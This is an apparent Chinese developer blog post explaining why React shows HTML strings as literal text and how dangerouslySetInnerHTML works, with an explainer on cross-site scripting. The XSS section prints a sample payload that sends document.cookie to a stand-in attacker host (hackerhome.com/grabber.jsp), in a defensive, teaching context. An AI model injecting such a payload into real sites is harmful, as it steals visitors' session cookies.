昨天在弄一个让内容换行显示时，遇到一个问题，就是我有<br />的代码在页面中不换行，而是直接显示<br />,代码如下：

<!DOCTYPE html>

<html>

    <head>

        <meta content="text/html; charset=utf-8" http-equiv="Content-Type">

        <title>dangerouslySetInnerHTML测试</title>

        <script src="https://cdnjs.cloudflare.com/ajax/libs/react/0.13.3/react.js"></script>

        <script src="https://cdnjs.cloudflare.com/ajax/libs/react/0.13.3/JSXTransformer.js"></script>

    </head>

    <body>

        <div id="example"></div>

        <script type="text/jsx">

         var Test = React.createClass({

          getInitialState: function() {

            return {html: '我想让它换行显示<br />,我想让它换行显示<br />'};

          },

          render: function() {

            return (

              <div>{this.state.html}</div>

            );

          }

        });

        React.render(<Test />,  document.getElementById('example'));

        </script>

    </body>

</html>

　在页面中显示的内容是这样的：

如果你将这段代码放在正常的html页面中，它是会换行的，在React中则不会，因为react不会自动帮你解析你的html代码，就像你将上面的getInitialState

改为：

 getInitialState: function() {

            return {html: '<a href="#">这是一段html代码</a><a href="#">2</a><a href="#">3</a>'};

  },

　解析出来的还是这样的一段代码

'<a href="#">这是一段html代码</a><a href="#">2</a><a href="#">3</a>'

这是为什么呢？找到的解释是这样的：

　　不合时宜的使用 innerHTML 可能会导致 cross-site scripting (XSS) 攻击。 净化用户的输入来显示的时候，经常会出现错误，不合适的净化也是导致网页攻击 的原因之一。

　　我们的设计哲学是让确保安全应该是简单的，开发者在执行“不安全”的操作的时候应该清楚地知道他们自己的意图。dangerouslySetInnerHTML 这个 prop 的命名是故意这么设

计的，以此来警告，它的 prop 值（ 一个对象而不是字符串 ）应该被用来表明净化后的数据。

将上面的代码改为如下，就可以访问了：

　　

　　这么做的意义在于，{__html:...} 背后的目的是表明它会被当成 "type/taint" 类型处理。 这种包裹对象，可以通过方法调用返回净化后的数据，随后这种标记过的数据可以。注意__html是两个_

被传递给 dangerouslySetInnerHTML。

这个功能主要被用来与 DOM 字符串操作类库一起使用，所以提供的 HTML 必须要格式清晰（例如：传递 XML 校验）

　　这些解释是来自于官方说法。读完有点一头雾水，这是因为我们不了解什么是 cross-site scripting (XSS)攻击，当你了解这个攻击的时候，其实理解起来就比较好理解一些

什么是 cross-site scripting (XSS)攻击：

XSS示例

　　在深入了解XSS的各个方面之前，让我们首先了解XSS攻击到底是怎样完成的。

　　就以一个博客应用为例。其常常需要允许读者对博主的文章进行评论。在输入评论的编辑栏中，我们可以输入对该文章的评论，也可以输入以下HTML标记：

1 <Script>alert(“XSS attack available!”);</Script>

　　在读者按下提交键之后，该标记将被提交到服务器上，并在其它用户访问时作为评论显示。此时该用户所看到网页中包含该标记的部分元素可能为：

1 <div>

2     <Script>alert(“XSS attack available!”);</Script>

3 </div>

　　而从用户的角度来看，该网页中就出现了一个警告：

　　也就是说，用户输入的脚本语言已经被用户的浏览器成功执行。当然，这可能只是一个对该网站的善意提醒。但是对于一个真正具有恶意的攻击者，其所插入的脚本代码更可能如下所示：

1 <script>document.write('<img src=http://www.hackerhome.com/grabber.jsp?msg='+document.cookie+'

2     width=16 height=16 border=0 />');</script>

　　该段脚本将向当前评论内插入一个图片，而该图片所对应的URL则指向了hackerhome中的JSP页面grabber.jsp。从访问该评论的用户这一角度看来，其仅仅是一个不能显示的图片。但是对于恶意攻击者而言，该JSP页面将自动记录传入的msg参数内容，即访问评论用户所使用的cookie。该cookie可能包含用户的敏感信息，甚至是用户名，密码等重要信息。

所以，react的做法是不直接读取你的html代码，以此来避免cross-site scripting (XSS)攻击，让你的代码更加安全

更多关于cross-site scripting (XSS)攻击的介绍，可以参考这篇文章：http://www.cnblogs.com/loveis715/archive/2012/07/13/2506846.html

												


											
【原】dangerouslySetInnerHTML,   让React正常显示你的html代码的更多相关文章
	

    
								
  1. 剥开比原看代码16：比原是如何通过/list-transactions显示交易信息的
		
    作者:freewind 比原项目仓库: Github地址:https://github.com/Bytom/bytom Gitee地址:https://gitee.com/BytomBlockchai ...
    
		
    2. 
						
  2. 一段显示隐藏列表HTML代码
		
    一段显示隐藏列表HTML代码, 技巧在于把页面上的元素(“返回首页”)和控制显示/隐藏的元素(id=navs-menu)放在一个共同的div上,并在该div上绑定onmouseover和onmouse ...
    
		
    3. 
						
  3. react服务端/客户端，同构代码心得
		
    FKP-REST是一套全栈javascript框架   react服务端/客户端,同构代码心得 作者:webkixi react服务端/客户端,同构代码心得 服务端,客户端同构一套代码,大前端的梦想, ...
    
		
    4. 
						
  4. div 显示滚动条的CSS代码
		
    div 显示滚动条的CSS代码   div显示上下左右滚动条 <div style="width:260px;height:120px; overflow:scroll; border ...
    
		
    5. 
						
  5. 直接拨号、将电话号码传入拨号程序、调用拨号程序、调用系统浏览器浏览网页、调用系统程序查看联系人、显示系统设置界面和显示Wi-Fi设置界面代码
		
    直接拨号.将电话号码传入拨号程序.调用拨号程序.调用系统浏览器浏览网页.调用系统程序查看联系人.显示系统设置界面和显示Wi-Fi设置界面代码 拨打号码的代码如下: Intent callIntent= ...
    
		
    6. 
						
  6. 【原】Mac下统计任意文件夹中代码行数的工
		
    [链接][原]Mac下统计任意文件夹中代码行数的工http://www.cnblogs.com/wengzilin/p/4580646.html
    
		
    7. 
						
  7. 剥开比原看代码13：比原是如何通过/list-balances显示帐户余额的？
		
    作者:freewind 比原项目仓库: Github地址:https://github.com/Bytom/bytom Gitee地址:https://gitee.com/BytomBlockchai ...
    
		
    8. 
						
  8. 用react分页显示数据
		
    去年年底,尝试着用react写个组件化的页面! demo地址 里面有一个list页面弄了一下数据的分页展示 展示一下主要三个组件:父组件listBox.列表组件List.按钮组件PageButton  ...
    
		
    9. 
						
  9. React切换显示和隐藏
		
    1 {radioChange >= 0 && 2 <div> 3 {radioChange === 0 ? ( 4 <div className={style. ...
    
		
    10. 
		

	


随机推荐
	

    
									
  1. Hotspot内存溢出测试
			
    一.堆溢出 在执行代码时通过设置堆的最小值-Mms以及堆的最大值-Mmx来控制堆的大小,-XX参数dump出堆内存快照以便对内存溢出进行分析.通过创建大量对象来使堆溢出,当堆内存溢出时会提示OutOf ...
    
			
    2. 
						
  2. JSON字符串——后台解析系列
			
    以前我们都是讲JSON字符串获取后,在前台进行展示.今天小编就交给大家后台解析展示数据的方法.非常方便,就以下代码: JObject obj = JObject.Parse(data); string ...
    
			
    3. 
						
  3. centos 7 安装mysql
			
    # wget http://dev.mysql.com/get/mysql-community-release-el7-5.noarch.rpm # rpm -ivh mysql-community- ...
    
			
    4. 
						
  4. webpack入坑之旅（二）loader入门
			
    这是一系列文章,此系列所有的练习都存在了我的github仓库中vue-webpack 在本人有了新的理解与认识之后,会对文章有不定时的更正与更新.下面是目前完成的列表: webpack入坑之旅(一)不 ...
    
			
    5. 
						
  5. Bete冲刺第四阶段
			
    Bete冲刺第四阶段 今日工作: web: 昨晚搞得很晚,帮队友搞定了git的问题,仓库顿时干净多了,同时已经基本完成了基础功能的接口 ios: 导入并使用了改善交互的第三方开源库,修正路径BUG 目 ...
    
			
    6. 
						
  6. Criteria查询之sqlRestriction()的理解
			
    sqlRestriction()的理解 在Criteria查询中 使用sqlRestriction()方法来提供SQL语法作限定查询,作为where字句 查看官方给的例子,如下 List cats = ...
    
			
    7. 
						
  7. 使用D3绘制图表（2）--绘制曲线
			
    上一篇是使用D3绘制画布,这一篇的内容是在画布上绘制曲线. 1.之前的html代码没有变化,但是我还是贴出来 <!DOCTYPE html> <html> <head&g ...
    
			
    8. 
						
  8. 让nodeJS支持ES6的词法----babel的安装和使用
			
    要使用Babel, 我们需要nodeJS的环境和npm, 主要安装了nodeJS, npm就默认安装了 , 现在安装nodeJS很简单了, 直接下载安装就好了: 安装es-checker 在使用Bab ...
    
			
    9. 
						
  9. 100726C
			
    显而易见,我们要找子串,每次记录前缀和,算出余数,然后通过一个数组保存余数,答案就是加上之前余数的总和,要注意整除的情况 #include<iostream> #include<cs ...
    
			
    10. 
						
  10. html页面中meta的作用
			
    meta是用来在HTML文档中模拟HTTP协议的响应头报文.meta 标签用于网页的<head>与</head>中,meta 标签的用处很多.meta 的属性有两种:name和 ...
    
			
    11.